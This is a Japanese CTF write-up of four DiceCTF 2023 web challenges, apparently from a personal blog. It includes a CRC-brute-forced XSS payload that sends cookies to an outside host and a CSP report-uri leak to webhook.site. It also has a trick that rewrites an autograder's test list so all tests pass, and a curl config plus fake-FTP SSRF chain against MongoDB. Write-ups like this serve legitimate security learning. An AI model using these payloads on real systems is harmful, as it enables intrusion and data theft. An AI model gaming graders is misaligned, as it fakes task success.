あけましておめでとうございます。
2/4 - 2/6という日程で開催された。keymoonさんとチーム _(-.- _) )_
で参加し、33位だった。Web問は相変わらず面白かったけれども、solve数の少ない問題が全然解けず悔しい。unfinishedはあともう一歩で解けそうだという感覚があったので特に悔しい。後で復習したいところ。
作問者のwriteup:
競技時間中に解いた問題
[Web 115] recursive-csp (178 solves)
the nonce isn't random, so how hard could this be?
(the flag is in the admin bot's cookie)
(問題サーバのURLと、admin botにURLを通報できるフォーム)
与えられたURLにアクセスすると、次のようなシンプルなフォームが表示された。
HTMLを見ると <!-- /?source -->
というコメントがある。/?source
にアクセスすると、このWebアプリケーションのソースコードが表示された。
<?php if (isset($_GET["source"])) highlight_file(__FILE__) && die(); $name = "world"; if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { $name = $_GET["name"]; } $nonce = hash("crc32b", $name); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); ?> <!DOCTYPE html> <html> <head> <title>recursive-csp</title> </head> <body> <h1>Hello, <?php echo $name ?>!</h1> <h3>Enter your name:</h3> <form method="GET"> <input type="text" placeholder="name" name="name" /> <input type="submit" /> </form> <!-- /?source --> </body> </html>
<?php echo $name ?>
で単純なXSSができそうな感じがするが、nonce-basedなCSPがHTTPレスポンスヘッダに含まれている。もしJavaScriptコードを実行したければ <script nonce=XXXXXXXX>alert(123)</script>
のように、CSPに含まれているnonceを属性値として持つ nonce
属性を script
要素に付与しなければならない。
では、そのnonceはどのように計算されているかというと、hash("crc32b", $name)
とCRC32が使われている。ランダムに生成されているわけではないので、頑張れば当てられそう。ただ、そのCRCの計算に $name
とXSSのペイロードが使われているのが厄介。ペイロード中に、自身のCRCを含まなければならないことになる。
当てなければならない値は32ビットしかないので、ブルートフォースでもなんとかなるはず。nonce
属性の値は決め打ちにしつつ、ペイロードの後ろにランダムな4バイトをくっつけたもののCRCとそれが一致しているかをチェックし続けるようなコードを書く。わざわざこんなことをしなくてももっと綺麗な解法はありそうだが、解ければよし。
package main import ( "bytes" "fmt" "hash/crc32" ) var table *crc32.Table func bruteforce(base string, target uint32) bool { base_bytes := []byte(base) var a, b, c, d byte for a = 0x20; a < 0x7f; a++ { for b = 0x20; b < 0x7f; b++ { for c = 0x20; c < 0x7f; c++ { for d = 0x20; d < 0x7f; d++ { var buf bytes.Buffer buf.Write(base_bytes) buf.Write([]byte{a, b, c, d}) h := crc32.Checksum(buf.Bytes(), table) if h == target { fmt.Printf("%s\n", buf.String()) return true } } } } } return false } func main() { table = crc32.MakeTable(crc32.IEEE) template := "<script nonce=%08x>alert(123)</script>" var i uint32 = 0 for { script := fmt.Sprintf(template, i) if bruteforce(script, i) { break } i++ } }
template
を <script nonce=%08x>location='http://(省略)/'+document.cookie</script>
のようにCookieを抽出するペイロードに変える。実行すると、いい感じに nonce
属性の値とCRCが一致しているようなペイロードができあがった。
$ go run main.go <script nonce=00000007>location='http://(省略)/'+document.cookie</script> g}t
これをURLに付与してadmin botに通報すると、adminがフラグを背負ってやってきた。
[Sat Feb 4 06:02:50 2023] 34.23.93.98:1066 [404]: (null) /flag=dice%7Bh0pe_that_d1dnt_take_too_l0ng%7D - No such file or directory
dice{h0pe_that_d1dnt_take_too_l0ng}
[Web 156] scorescope (55 solves)
I'm really struggling in this class. Care to give me a hand?
(問題サーバのURL)
ソースコードは提供されていない。与えられたURLにアクセスすると、以下のような画面が表示された。
ダウンロードできる template.py
は以下のような内容だった。こんな感じでテンプレートと課題が用意されているので、解いていけばよいらしい。
# DICE 1001 # Homework 3 # # @author [full name] # @student_id [student id] # # Collaborators: # - [list collaborators here] # # Resources: # - [list resources consulted] def add(a, b): ''' Return the sum of a and b. Parameters: a (int): The first number to add. b (int): The second number to add. Returns: int: The sum of a and b. ''' ######## YOUR CODE ######## raise NotImplementedError ########################### …
この template.py
をそのままアップロードしてみると、次のような結果が表示された。テストケースは全部で22個あるらしい。また、各ケースの実行中になんらかのエラーが発生した場合には、その内容を出力してくれるらしい。ただし、エラーを出力してくれるのは22個中の21個のみで、最後の1個はエラーの内容が隠される。template.py
中にも対応する関数は存在しておらず、どんなケースかエスパーする必要がありそうだ。
これはWeb問なので、なんとかして採点者をだませないか考える。まず思いついたのは os.system
でのOSコマンドの実行や、open
でのファイルの読み書きだった。import os
や os.environ
などへのアクセスだけなら許されるのだけれども、os.system('id')
や open('/etc/passwd')
のように関数を実行した途端に
There was a problem grading your submission. Make sure your submission does not open files, import extra modules, run shell commands, or do anything too fancy.
と怒られてしまった。__import__('subp'+'rocess')
でも同様に怒られるし、単純な文字列比較とかASTをなめたりとかによるチェックでなく、seccompでも使っていそう。
ということで、そもそもテストを受けずにOSコマンドを実行したりするような方向でなく、真面目にテストを受けるふりをしてズルをする方向で頑張っていく。submission.add(test_x, test_y) == answer
みたいな感じで比較をして正誤判定をしているのではないかと考え、以下のように何を比較されても True
を返すようなオブジェクトを作ってみる。
class A: def __eq__(self, a): return True def add(a, b): return A()
これを add
以外の課題についても同じような関数に置き換えた上で提出したところ、一部のケースでは通るものの、test_hidden
などではダメだった。気になるのは test_longest_…
などの課題で出ているエラーメッセージで、いわく
AssertionError: Lists differ: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,[145 chars]0, 0] != [220, 85, 97, 137, 171, 187, 145, 137, 74,[251 chars] 154] First differing element 0: 0 220 Diff is 917 characters long. Set self.maxDiff to None to see it.
とのこと。エラーメッセージの一部でググってみると、これは unittest
というモジュールに関連しているっぽい。ここから情報が得られないだろうか。unittest.TestCase
というクラスを継承しているクラスがないか、以下のようにわざとエラーを吐きつつ、そのメッセージとして repr(unittest.TestCase.__subclasses__())
を渡すことで調べてみる。
def add(a, b): raise Exception(repr(unittest.TestCase.__subclasses__()))
これを提出してみると、以下のようなエラーメッセージが出力された。最後の util.TestCase
というのが unittest
モジュールには付属していないクラスに見え、気になる。
Exception: [<class 'unittest.case.FunctionTestCase'>, <class 'unittest.case._SubTest'>, <class 'unittest.loader._FailedTest'>, <class 'util.TestCase'>]
inspect
モジュールを利用して、このクラスがどのファイルで定義されているか確認する。raise Exception(repr(inspect.getfile(unittest.TestCase.__subclasses__()[-1])))
で、以下のようなエラーメッセージが出力された。/app/util.py
というファイルで定義されているらしく、やはり unittest
モジュールには付属していないクラスっぽい。
Exception: '/app/util.py'
"util" ということは単体で動くわけではないだろうし、これをインポートしているファイルがあるはず。エントリーポイントを探していきたい。__main__
モジュールを import __main__
でインポートし、このモジュールに含まれるものを raise Exception(repr(dir(__main__)))
で取得する。すると、次のエラーメッセージの通りに得られた。
Exception: ['SilentResult', 'SubmissionImporter', 'TestCase', 'TestLoader', 'TextTestRunner', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'current', 'f', 'json', 'stack', 'stderr', 'stdout', 'submission', 'suite', 'sys', 'test', 'tests']
tests
という変数が怪しく見える。__main__.tests
を取得してみると、次のようにテストケースの名前が入っていた。
Exception: ['test_hidden', 'test_magic_a', 'test_magic_b', 'test_magic_c', 'test_preimage_a', 'test_preimage_b', 'test_factor_bigger', 'test_factor_large', 'test_factor_small', 'test_favorite', 'test_common_consecutive', 'test_common_empty', 'test_common_many', 'test_common_nonconsecutive', 'test_common_single', 'test_longest_empty', 'test_longest_multiple', 'test_longest_multiple_tie', 'test_longest_single', 'test_add_mixed', 'test_add_negative', 'test_add_positive']
もし、この配列のすべての要素を同じ名前にするとどうなるだろうか。次のコードを使って、__main__.tests
を test_favorite
というテストケースの名前で埋めつつ、このケースに対応する関数の favorite
は先程作った必ず正解と判定されるオブジェクトを返すようにする。
import __main__ class A(): def __eq__(self, other): return True def add(a, b): __main__.tests = ['test_favorite'] * 22 raise Exception(repr(__main__.tests)) def favorite(): return A()
これを提出すると、なんと全問正解したことになった。フラグもくれた。
dice{still_more_secure_than_gradescope}
[Web 202] codebox (30 solves)
strellic makes csp challs, maybe i should try one sometime
(問題サーバのURLと、admin botにURLを通報できるフォーム)
添付ファイル: codebox.tar.gz
ソースコードが与えられている。サーバ側のコードはシンプルで、/
というひとつのパスしかない。
const fastify = require('fastify')(); const HTMLParser = require('node-html-parser'); const box = require('fs').readFileSync('box.html', 'utf-8'); fastify.get('/', (req, res) => { const code = req.query.code; const images = []; if (code) { const parsed = HTMLParser.parse(code); for (let img of parsed.getElementsByTagName('img')) { let src = img.getAttribute('src'); if (src) { images.push(src); } } } const csp = [ "default-src 'none'", "style-src 'unsafe-inline'", "script-src 'unsafe-inline'", ]; if (images.length) { csp.push(`img-src ${images.join(' ')}`); } res.header('Content-Security-Policy', csp.join('; ')); res.type('text/html'); return res.send(box); }); fastify.listen({ host: '0.0.0.0', port: 8080 });
クエリパタメータの code
をHTMLとしてパースし、それに含まれる img
要素について、src
属性で設定されている画像のパスを収集している。そして、以下のCSPにさらに img-src (収集した画像のパスをスペースで結合したもの)
を追加して、CSPヘッダとして出力している。
画像のパスにセミコロンが含まれているかチェックしていないので、たとえば <img src="a; frame-src 'self'">
のような img
要素を与えることで、CSP内に限られる(新たなHTTPレスポンスヘッダの追加などはできない)がinjectionができそうだ。
default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'
/
が返す box.html
は次のような内容になっている。クエリパラメータに含まれるHTMLに対しては、サーバ側ではそれをパースしてCSPヘッダを出力しただけだったが、クライアント側では iframe
要素の srcdoc
属性を使ってその表示までしている。一見XSSができそうに見えるが、残念ながら frame.sandbox = '';
と sandbox
属性が付与されているために、そう簡単にはJSコードの実行にはたどり着けなさそう。
script
要素の最後の2行からもわかるように、フラグは localStorage
に格納されているようだ。それを h1
要素の内容として書き出している。localStorage
を直接読み出すか、それとも h1
要素の内容をなんらかの方法で読み出すか、あるいはそれ以外の方法か。
<!DOCTYPE html> <html lang="en"> <head> <title>codebox</title> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <style> * { margin: 0; font-family: monospace; line-height: 1.5em; } div { margin: auto; width: 80%; padding: 20px; } textarea { width: 100%; height: 200px; max-width: 500px; } iframe { border: 1px solid lightgray; } </style> </head> <body> <div id="content"> <h1>codebox</h1> <p>Codebox lets you test your own HTML in a sandbox!</p> <br> <form action="/" method="GET"> <textarea name="code" id="code"></textarea> <br><br> <button>Create</button> </form> <br> <br> </div> <div id="flag"></div> </body> <script> const code = new URL(window.location.href).searchParams.get('code'); if (code) { const frame = document.createElement('iframe'); frame.srcdoc = code; frame.sandbox = ''; frame.width = '100%'; document.getElementById('content').appendChild(frame); document.getElementById('code').value = code; } const flag = localStorage.getItem('flag') ?? "flag{test_flag}"; document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`; </script> </html>
まず思いついたのは、CSPへのinjectionを使うことだった。だってどう考えても怪しいし。CSPのディレクティブの中には(使うのは推奨されていないけど) report-uri
というものがあり、これを付与することで、もしCSPの違反があった場合に指定したURLへその情報を送信させることができる。雑に <img src="hoge; report-uri https://(Webhook.siteのURL)">
を投げてみたものの、飛んできたのは img-src
の違反に関する情報で、フラグなどの欲しい情報は含まれていない。
{ "csp-report": { "document-uri": "about", "referrer": "", "violated-directive": "img-src", "effective-directive": "img-src", "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src hoge; report-uri https://webhook.site/…", "disposition": "enforce", "blocked-uri": "https://codebox.mc.ax/hoge;%20report-uri%20https://webhook.site/…", "status-code": 0, "script-sample": "" } }
これでなんとかしてフラグを含んだCSPの違反レポートを送信させられないかと悩む。ソースコードを見つつ考えていたところ、以下のフラグを出力する処理が気になった。なぜ textContent
などによる安全な書き込みでなく、わざわざ innerHTML
を使っているのか。
const flag = localStorage.getItem('flag') ?? "flag{test_flag}"; document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
ここで、Trusted Typesとの合わせ技を思いつく。もし(ポリシーが一切作成されていない状態の)Trusted Typesを有効化すれば、この innerHTML
への代入は弾かれるはずだ。そして、その(フラグを含んだ)違反の情報は report-uri
ディレクティブのおかげでWebhook.siteに飛ぶはず。Trusted Typesの有効化は、trusted-types
ディレクティブと require-trusted-types-for
ディレクティブをCSPに付与することでできる。CSPへのinjectionだけでちゃんと動きそうだ。
そこで、以下のHTMLによって default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src piyo; report-uri https://webhook.site/…; require-trusted-types-for 'script'; trusted-types
というCSPが有効化されるようにしてみた…はずが、なぜか動かない。
<s>test</s><img src="piyo;"><img src="report-uri https://webhook.site/…;"><img src="require-trusted-types-for 'script'; trusted-types">
DevToolsを開いてエラーログを見てみると、どうやら "Failed to set the 'srcdoc' property on 'HTMLIFrameElement': This document requires 'TrustedHTML' assignment." と srcdoc
への代入でコケているとわかる。再度 box.html
中の script
要素のスクリプトを見直す。フラグの表示の前に srcdoc
への代入があるので、そこでコケてしまったらフラグの表示までたどり着けなくて困る。どうすればよいだろうか。
const code = new URL(window.location.href).searchParams.get('code'); if (code) { const frame = document.createElement('iframe'); frame.srcdoc = code; frame.sandbox = ''; frame.width = '100%'; document.getElementById('content').appendChild(frame); document.getElementById('code').value = code; } const flag = localStorage.getItem('flag') ?? "flag{test_flag}"; document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
ここで、サーバ側ではクエリパラメータへのアクセスに req.query.code
とFastifyが解釈した結果を、クライアント側では new URL(window.location.href).searchParams.get('code')
とまた別の方法で解釈した結果を使っていることに気づく。
サーバ側では req.query.code
が普通にHTMLを返しつつ、一方でクライアント側では code
が空文字列などのfalsyな値になることで、if (code) { … }
中の srcdoc
への代入が飛ばされるようにはできないだろうか。つまり、サーバ側とクライアント側でのクエリパラメータの解釈の違いが利用できるのではないか。
サーバ側とクライアント側で code
にどのような値が入るかを確認できるスクリプトを用意する。
const fastify = require('fastify')(); fastify.get('/', (req, res) => { const code = req.query.code; return res.type('text/html').send(` <div>server: <code>${JSON.stringify(code)}</code></div> <div>client: <code id="output"></code></div> <script> const output = document.getElementById('output'); const code = new URL(window.location.href).searchParams.get('code'); output.textContent = JSON.stringify(code); </script> `) }); fastify.listen({ host: '0.0.0.0', port: 8080 });
/?code=hoge
では、もちろん両方とも "hoge"
になる。
/?code=hoge&code=fuga
だと、サーバ側では ["hoge","fuga"]
という配列になるのに対して、クライアント側では "hoge"
という文字列になる。この挙動は使えそうだ。
/?code=&code=(さっき作ったペイロード)
にアクセスすると、サーバはこれを素直に文字列として受け取り、先程と同じCSPを返す。一方で、クライアント側では code
には空文字列が入っているので、srcdoc
への文字列の代入は行われず、document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`
までたどり着ける。ローカルで試したところ、次のようにダミーのフラグを手に入れられた。
admin botにこのURLを通報したところ、次のように <h1>dice{i_als0_wr1te_csp_bypasses}\n</h1>
という文字列が innerHTML
に代入されようとしているというCSP違反の情報が飛んできた。フラグが得られた。
dice{i_als0_wr1te_csp_bypasses}
競技が終わってから復習した問題
[Web 290] unfinished (14 solves)
It's the day of the CTF and I haven't finished writing this challenge...
Well, unfinished doesn't mean unsolvable.
(問題サーバのインスタンスを立ち上げられるURL)
添付ファイル: unfinished.tar.gz
ソースコードが与えられている。docker-compose.yml
から、Node.jsで書かれた app
と、MongoDBサーバの動いている mongo
という2つのコンテナが存在していることがわかる。
version: "3.9" services: app: build: ./app/ ports: - "4444:4444" mongodb: build: ./mongo/
まずは mongo
から見ていく。mongo
は次のようなスクリプトで初期化されている。app
というDBにはユーザの認証情報が、secret
にはフラグが格納されていることがわかる。secret.flag
からフラグを抜き出せばよさそう。app
からのSSRFやNoSQL Injectionだろうか。
const crypto = require("crypto"); const app = db.getSiblingDB('app'); app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") }); const secret = db.getSiblingDB('secret'); secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });
app
を見ていく。ソースコードは次の通りだけれども、ユーザ登録が未実装だったり、TODOのコメントがたくさん残されていたりと、問題名や問題文の通り未完成っぽい。"unfinished doesn't mean unsolvable" というのを信じたいところ。
/api/ping
というAPIを使うと、curl
でアクセスすることで与えたURLが生きているかどうかをチェックしてくれるっぽい。おそらくここに脆弱性があるのだろうが、curl
を叩く処理の前に requiresLogin
というミドルウェアが挟まれている。これはセッションの情報をもとにログイン済みかどうかをチェックするもので、もしログインしていなければ /
にリダイレクトされてしまう。
それならログインするしかないかと思いつつ、ログインするためのAPIである /api/login
の処理を見る。await users.findOne({ user, pass })
でNoSQL Injectionチャンス! かと思いきや、その直前で typeof user !== "string" || typeof pass !== "string"
と user
と pass
がいずれも文字列であることがチェックされており、残念ながら無理。
const { MongoClient } = require("mongodb"); const cp = require('child_process'); const express = require("express"); const client = new MongoClient("mongodb://mongodb:27017/"); const app = express(); const PORT = process.env.PORT || 4444; app.use(express.urlencoded({ extended: false })); app.use(require("express-session")({ secret: require("crypto").randomBytes(32).toString("hex"), resave: false, saveUninitialized: false })); /* // TODO: add register functionality app.post("/api/register", (req, res) => { }); */ const requiresLogin = (req, res, next) => { if (!req.session.user) { res.redirect("/?error=You need to be logged in"); } next(); }; app.post("/api/login", async (req, res) => { let { user, pass } = req.body; if (!user || !pass || typeof user !== "string" || typeof pass !== "string") { return res.redirect("/?error=Missing username or password"); } const users = client.db("app").collection("users"); if (await users.findOne({ user, pass })) { req.session.user = user; return res.redirect("/"); } res.redirect("/?error=Invalid username or password"); }); app.post("/api/ping", requiresLogin, (req, res) => { let { url } = req.body; if (!url || typeof url !== "string") { return res.json({ success: false, message: "Invalid URL" }); } try { let parsed = new URL(url); if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL"); } catch (e) { return res.json({ success: false, message: e.message }); } const args = [ url ]; let { opt, data } = req.body; if (opt && data && typeof opt === "string" && typeof data === "string") { if (!/^-[A-Za-z]$/.test(opt)) { return res.json({ success: false, message: "Invalid option" }); } // if -d option or if GET / POST switch if (opt === "-d" || ["GET", "POST"].includes(data)) { args.push(opt, data); } } cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => { // TODO: save result to database res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` }); }); }); app.get("/", (req, res) => res.sendFile(req.session.user ? "dashboard.html" : "index.html", { root: "static" })); client.connect().then(() => { app.listen(PORT, () => console.log(`web/unfinished listening on http://localhost:${PORT}`)); });
/api/login
はどう見ても脆弱ではないので、では requiresLogin
が怪しいのではないかと考える。よく見ると、res.redirect
を呼び出す際に関数を return
していない。なので、直後の next
を呼び出す処理まで実行されてしまい、curl
を叩くコールバック関数が呼び出されてしまう。ログインしているかどうかのチェックが機能していない。
試しに curl http://localhost:4444/api/ping -d "url=https://webhook.site/…"
で /api/ping
を叩いてみたところ、指定したWebhook.siteのページへのアクセスが来た。これで requiresLogin
が機能していないことが確認できた。
const requiresLogin = (req, res, next) => { if (!req.session.user) { res.redirect("/?error=You need to be logged in"); } next(); };
/api/ping
の処理を詳しく見ていく。curl
にアクセスさせるURLを指定する url
のほかにも、opt
と data
というパラメータを受け付けている。これらのパラメータには、以下のような検証処理が行われている:
url
は、URLとして解釈した際のプロトコルがhttp:
もしくはhttps:
でなければならないopt
は、^-[A-Za-z]$
のように1文字の短縮オプションでなければならないopt
が-d
であるか、そうでない場合にはdata
がGET
かPOST
でなければならない
-d
オプションを使って好きなWebサーバに、好きな内容でPOSTできるという点がまず魅力的に見える。これでMongoDBにSSRFだ! と思ったものの、そもそもMongoDBをHTTPのAPIで操作できるのかという疑問が湧く。試しに app
のコンテナからGETしてみると、次のようなメッセージが返ってきた。調べてみると、どうやらREST APIで操作できる機能は3.6で削除されたらしい。REST In Peace。
user@51be22709e2e:/app$ curl http://mongodb:27017 It looks like you are trying to access MongoDB over HTTP on the native driver port.
じゃあ今はどういうプロトコルでMongoDBサーバと通信できるのかというと、バイナリのプロトコルが使われているらしい。url
のチェックをバイパスする方法は後で考えるとして、とりあえずGopherだ! と思って app
のコンテナで、Gopherプロトコルを使ってMongoDBサーバにアクセスできるかチェックしてみたものの、様子がおかしい。どうして使えないんだ…?
user@51be22709e2e:/app$ curl gopher://mongodb:27017 curl: (1) Protocol "gopher" not supported or disabled in libcurl user@51be22709e2e:/app$ curl --proto +gopher gopher://mongodb:27017 Warning: unrecognized protocol 'gopher' curl: (1) Protocol "gopher" not supported or disabled in libcurl
このコンテナではcurlは apt install curl
によってインストールされているわけではない。Dockerfile
を見ると次のような記述があり、CTFの開催時点で最新のバージョンである7.87.0を、--disable-gopher
とGopherプロトコルを無効化するオプション付きでビルドしていることがわかる。Gopherプロトコルは任意のバイト列をサーバに送りつけられるという点でSSRFにとても便利なので、それは困る。
RUN wget -q https://curl.haxx.se/download/curl-7.87.0.tar.gz && \ tar xzf curl-7.87.0.tar.gz WORKDIR /tmp/curl-7.87.0 RUN ./configure --prefix=/build \ --disable-shared --enable-static --with-openssl \ --disable-gopher && \ make && \ make install
ビルドされた curl
で利用できるプロトコルを確認すると、まだいくつか有用そうなものが残っているのがわかる。dict
, telnet
, tftp
あたりだ。ただ、dict
はRedisのようにテキストのプロトコルかつゆるゆるだと便利なんだけれども、最初に CLIENT libcurl 7.68.0
のようなゴミが入るし、またNULLバイトを挿入する必要があるようなプロトコルだと難しい。tftp
はUDPなので、そもそもTCPであるMongoDBとは合わない。telnet
は…どうだろう。
user@51be22709e2e:/app$ curl --version curl 7.87.0 (x86_64-pc-linux-gnu) libcurl/7.87.0 OpenSSL/1.1.1n Release-Date: 2022-12-21 Protocols: dict file ftp ftps http https imap imaps mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile NTLM NTLM_WB SSL threadsafe TLS-SRP UnixSockets
そんな感じのことを考えていても、そもそも http
か https
以外のプロトコルのURLにアクセスさせる方法を見つけられない限り意味がない。このチェックのバイパスの方法としてまず思いついたのは、引数を取らない短縮オプションを opt
に指定することだったが、すぐに「opt
が -d
でない場合には data
が GET
か POST
でなければならない」という条件を思い出して、無理だと気づく。じゃあ、data
は GET
か POST
に限られてしまうけれども、それでも使えるような便利な短縮オプションがないか探すかと考える。man
とにらめっこだ。
一個一個オプションを見ていくと、-K <file>
(--config <file>
) というオプションがあることに気づいた。これは指定したファイルを設定ファイルとして読み込むものらしい。設定ファイルというか、ファイル経由で任意の curl
のオプションを付与できるようになるというもの。なるほど、これなら GET
か POST
というファイルに設定ファイルをダウンロードしてくればよいから使えそうだ。
ではどうやって GET
か POST
に設定ファイルをダウンロードしてくるかというと、こちらは -o <file>
(--output <file>
)がある。ダウンロードできるかどうかについては、child_process.spawn
に与えるオプションで cwd: "/tmp"
を与えていて、/tmp
をカレントディレクトリとしているから大丈夫だろう。
-o
オプションで設定ファイルをダウンロードしてきた後に、-K
オプションでそれを読み込ませるという方法が使えるか確認する。まず、次のような設定ファイルを用意する。これは superagent/1.0
をユーザエージェントとするものだ。
user-agent = "superagent/1.0"
この設定ファイルを自分の管理するWebサーバでホストしつつ、-o
オプションを使って問題サーバに /tmp/GET
へダウンロードさせる。そして、-K
で /tmp/GET
を設定ファイルとして読み込ませて、Webhook.siteのページにアクセスさせる。
$ curl http://localhost:4444/api/ping -d "url=http://…&opt=-o&data=GET" Found. Redirecting to /?error=You%20need%20to%20be%20logged%20in $ curl http://localhost:4444/api/ping -d "url=https://webhook.site/…&opt=-K&data=GET" Found. Redirecting to /?error=You%20need%20to%20be%20logged%20in
Webhook.siteを確認すると、ちゃんと user-agent: superagent/1.0
なHTTPリクエストが問題サーバから来た。やったー。ただ、これをどう悪用できるかを考える必要がある。実質的に任意の curl
のオプションを利用できるようになったわけで、今度は短縮オプションだけでなく、すべてのオプションについて一つ一つ見ていかなければならない。つらい~。
眺めていて気になったのは --netrc-file
だった。これは .netrc
を好きなファイルから読み込めるというもので、ワンチャン curl
以外のOSコマンドの実行に持ち込めるのではないかと考えた。が、残念ながらそのあたりは潰されているっぽかった。
設定ファイルの説明を読み直していて、url = "ftp://example.com"
というような項目を追加すると http
, https
以外のプロトコルでもアクセスさせられることに気づいた。なるほどこれで telnet
が使えるなあと思いつつも、どうやってMongoDBサーバに secret.flag
をくれ~と要求するメッセージを送ればよいだろうかと悩む。というのも、ローカルで nc -lp …
で待ち受けつつ curl "telnet://…"
のようなコマンドを実行してみたりしたが、どうやって標準入力以外からデータを持ってきて送信させられるかがわからなかったから。
では telnet
以外のプロトコルに使えるものがないかと、もう一度 curl --version
で表示された、対応しているプロトコルの一覧を見直す。ftp
がある。FTPは実際にどういうメッセージを送受信しているかよく理解していなかったし、アクティブモードとかパッシブモードとかあるけれども、これらの違いもまったくわかっていなかった。ということでググって調べていた。
今回は問題サーバがFTPのクライアント側となるので、つまり我々が操作して好き勝手にメッセージを返せるのはサーバ側ということになる。そういうわけなので、もし悪用できるならデータコネクションを張る際にクライアント側からサーバ側に接続しに行くパッシブモードの方だろうと考えた。というのも、調べた限りではパッシブモードではサーバ側が 227
もしくは 229
というリプライコードを使って、その接続先のIPアドレスとポート番号(229
ではポート番号のみ)を返すとわかったから。そこでMongoDBサーバのIPアドレスと、27017というポート番号を返すことで、クライアント側がMongoDBサーバの 27017/tcp
に接続しに行き、そしてそのコネクションでファイルをアップロードさせることでSSRFができるのではないかと考えた。
そういうわけで、pwntoolsを使って雑に偽のFTPサーバを作る。USER
やら PWD
やらのコマンドははいはいと聞き流しつつ、PASV
が飛んできたら 227 Entering passive mode (172.22.0.2,105,137).
のような感じで自らのものでないIPアドレスとポート番号を返すようにする。
import time from pwn import * TARGET_IP_ADDR = '172.22.0.2' # MongoDBサーバのIPアドレス TARGET_PORT = 27017 def callback(conn): conn.send(b'220 ready\r\n') while True: r = conn.recvline().decode().strip() print(r) c, *rest = r.split(' ', 1) if c == 'USER': conn.send(b'331 ok\r\n') elif c == 'PASS': conn.send(b'230 ok\r\n') elif c == 'PWD': conn.send(b'257 "/" desu\r\n') elif c == 'EPSV': conn.send(b'500 dame\r\n') elif c == 'PASV': resp = '227 Entering Passive Mode ({},{},{}).\r\n'.format( TARGET_IP_ADDR.replace('.', ','), TARGET_PORT >> 8, TARGET_PORT & 0xff ) conn.send(resp.encode()) elif c == 'TYPE': conn.send(b'200 ok\r\n') elif c == 'STOR': conn.send(b'125 ok\r\n') time.sleep(1) conn.send(b'226 complete\r\n') elif c == 'QUIT': conn.send(b'221 bye\r\n') break else: conn.send(b'500 shiran\r\n') s = server(22222, callback=callback) input('')
これで、/api/ping
に(設定ファイルを使いつつ) curl -u user:password ftp://(IPアドレス):22222 -T /etc/passwd --ftp-pasv
相当のことをさせてみたところ、なぜかうまくいかない。
どういうことかと思いつつ、curl
の man
でFTP関連のオプションを探していると、どうやら curl
では --no-ftp-skip-pasv-ip
というオプションを明示的に付与しない限り、227
の返すIPアドレスは無視する(代わりにポート番号は 227
で返ってきたものをそのまま使いつつ、IPアドレスはコントロールコネクションで接続しているサーバのものを使う)ことがわかった。これを設定ファイルに書き加える。
url = "ftp://…:22222" # 偽FTPサーバ upload = "/etc/passwd" ftp-pasv no-ftp-skip-pasv-ip
今度はいけた。無事に 227
で指定したIPアドレス・ポート番号へ curl
からアクセスが来たことが、MongoDBサーバのログからわかる。
unfinished-mongodb-1 | {"t":{"$date":"2023-02-09T17:26:24.372+00:00"},"s":"I", "c":"NETWORK", "id":22943, "ctx":"listener","msg":"Connection accepted","attr":{"remote":"172.22.0.3:45972","uuid":"1a0a6d7f-474b-4326-be2b-45e13115341a","connectionId":15,"connectionCount":4}} unfinished-mongodb-1 | {"t":{"$date":"2023-02-09T17:26:24.531+00:00"},"s":"I", "c":"NETWORK", "id":22988, "ctx":"conn15","msg":"Error receiving request from client. Ending connection from remote","attr":{"error":{"code":141,"codeName":"SSLHandshakeFailed","errmsg":"SSL handshake received but server is started without SSL support"},"remote":"172.22.0.3:45972","connectionId":15}} unfinished-mongodb-1 | {"t":{"$date":"2023-02-09T17:26:24.531+00:00"},"s":"I", "c":"NETWORK", "id":22944, "ctx":"conn15","msg":"Connection ended","attr":{"remote":"172.22.0.3:45972","uuid":"1a0a6d7f-474b-4326-be2b-45e13115341a","connectionId":15,"connectionCount":3}}
後はMongoDBサーバが解釈できるようなメッセージを送りつけるだけかと思いきや、-o
(--output
)オプションなどでログを出力するようにしたとしても、データコネクションでサーバ側が返したメッセージはどこにも保存されないことに気づく。つまり、MongoDBサーバにメッセージを送りつけることはできても、返ってきたレスポンスを読むことはできない。
curl
の終了コードは得られるから、Blind Regular Expression Injection Attackとかでちまちまフラグを得られるだろうかとか、いい感じのMongoDBのコマンドはないだろうかとか、そもそもTLS-poisonなんじゃないかとか調べているうちに時間切れ。競技中はここでつまずいてそのまま解けなかった🤷
(色々前提条件はあれど)FTPでSSRFできるテクニックがなかなか面白いなあと思った。FTPという古のプロトコルであるあたり、このテクニックは既知で有史以前から継承されてきているのだろうなあと薄々感じつつ後でググったところ、当然ながら既出も既出、ド既出でgraneedさんによる2020年のWeb問まとめ記事にもまとめられていることに気づいた。
今回はサーバ側がクライアント側に適当なIPアドレス・ポート番号へ接続しに行くように 227
というリプライコードを使って仕向けたけれども、その逆バージョンとして PORT
コマンドを使う手法もある。こちらはFTP Bounce Attackと言われているそう。
Strellicさんが公開されたwriteupによると、想定解法は telnet
を使うものだった*1。データの送信はどうするのだろうと思ったが、-T
(--upload-file
)でファイルのパスを指定すると、その内容が送られるということだった。そんなあ。
やってみる。まずMongoDBサーバにどんなメッセージを送るかという話だけれども、これはMongoDBサーバとやり取りしているパケットをキャプチャして調べてみる。sudo tcpdump -i lo -s 0 -w hoge.pcap
でキャプチャしつつ、以下のコードをローカルの app
コンテナで実行する。
